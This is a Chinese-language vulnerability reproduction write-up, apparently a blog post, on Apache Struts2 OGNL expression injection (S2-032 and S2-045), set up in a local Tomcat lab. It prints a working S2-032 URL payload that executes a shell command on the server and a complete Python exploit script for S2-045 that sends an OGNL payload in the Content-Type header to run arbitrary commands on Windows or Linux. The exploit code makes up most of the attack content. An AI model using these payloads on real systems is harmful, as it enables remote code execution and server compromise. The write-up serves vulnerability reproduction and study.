概述
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。
OGNL(Object-Graph Navigation Language的简称),对象图导航语言,它是一门表达式语言,除了用来设置和获取Java对象的属性之外,另外提供诸如集合的投影和过滤以及lambda表达式等
漏洞搭建
首先配置好Tomcat,然后将对应漏洞的版本下载到Tomcat目录下的webapp目录,访问对应的链接,例如http://127.0.0.1:8080/struts-032/,成功即搭建完成。
漏洞复现
1 S2-032 OGNL表达式注入
当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
method:<name> Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。
poc:
?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ls
攻击效果
2 S2-045 OGNL表达式注入
在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
环境搭建
利用poc
#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import sys
def exp(url,cmd):
payloadPrefix="hah-multipart/form-data %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"
payloadSuffix="').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
payload = str(payloadPrefix)+str(cmd)+str(payloadSuffix)
print(payload)
headers ={
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64)",
"Connection": "close",
"Content-Type": payload
}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
if __name__ == '__main__':
if len(sys.argv) < 3:
print("usage: python2 s2-045.py URL CMD")
else:
exp(sys.argv[1], sys.argv[2])
验证
参考
OGNL表达式语言详解_yu102655的专栏-优快云博客_ognl表达式
struts2 s2-032漏洞分析 - 晴天v - 博客园
S2-057远程代码执行漏洞复现过程 - 云+社区 - 腾讯云